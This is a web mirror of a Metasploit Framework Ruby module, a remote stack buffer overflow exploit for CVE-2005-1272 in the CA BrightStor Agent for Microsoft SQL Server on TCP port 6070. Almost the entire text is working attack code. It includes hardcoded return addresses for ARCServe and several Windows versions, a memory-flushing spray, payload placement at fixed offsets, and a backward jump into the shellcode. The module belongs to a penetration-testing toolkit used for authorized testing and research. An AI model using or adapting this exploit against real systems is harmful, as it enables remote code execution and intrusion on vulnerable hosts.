Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/brightstor/sql_agent.rb
31172 views
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Exploit::Remote

7
  Rank = AverageRanking

8


9
  include Msf::Exploit::Remote::Tcp

10


11
  def initialize(info = {})

12
    super(

13
      update_info(

14
        info,

15
        'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',

16
        'Description' => %q{

17
          This module exploits a vulnerability in the CA BrightStor

18
          Agent for Microsoft SQL Server. This vulnerability was

19
          discovered by cybertronic[at]gmx.net.

20
        },

21
        'Author' => [ 'hdm' ],

22
        'License' => MSF_LICENSE,

23
        'References' => [

24
          [ 'CVE', '2005-1272'],

25
          [ 'OSVDB', '18501' ],

26
          [ 'BID', '14453'],

27
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],

28
          [ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],

29
        ],

30
        'Privileged' => true,

31
        'Payload' => {

32
          'Space' => 1000,

33
          'BadChars' => "\x00",

34
          'StackAdjustment' => -3500

35
        },

36
        'Targets' => [

37
          # This exploit requires a jmp esp for return

38
          ['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp

39
          ['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret

40
          ['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret

41


42
          # Generic jmp esp's

43
          ['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp

44
          ['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp

45
          ['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret

46
          ['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret

47
          ['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret

48
          ['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret

49
        ],

50
        'DisclosureDate' => '2005-08-02',

51
        'DefaultTarget' => 0,

52
        'Notes' => {

53
          'Reliability' => UNKNOWN_RELIABILITY,

54
          'Stability' => UNKNOWN_STABILITY,

55
          'SideEffects' => UNKNOWN_SIDE_EFFECTS

56
        }

57
      )

58
    )

59


60
    register_options(

61
      [

62
        Opt::RPORT(6070)

63
      ]

64
    )

65
  end

66


67
  def exploit

68
    print_status("Trying target #{target.name}...")

69


70
    # The 'one line' request does not work against Windows 2003

71
    1.upto(5) do |_i|

72
      # Flush some memory

73
      connect

74
      begin

75
        sock.put("\xff" * 0x12000)

76
        sock.get_once

77
      rescue StandardError

78
      end

79
      disconnect

80


81
      # 3288 bytes max

82
      #  696 == good data (1228 bytes contiguous) @ 0293f5e0

83
      # 3168 == return address

84
      # 3172 == esp @ 0293ff8c (2476 from good data)

85


86
      buf = rand_text_english(3288, payload_badchars)

87
      buf[696, payload.encoded.length] = payload.encoded

88
      buf[3168, 4] = [target.ret].pack('V')  # jmp esp

89
      buf[3172, 5] = "\xe9\x4f\xf6\xff\xff"  # jmp -2476

90


91
      connect

92
      begin

93
        sock.put(buf)

94
        sock.get_once

95
      rescue StandardError

96
      end

97


98
      handler

99
      disconnect

100
    end

101
  end

102
end

103


104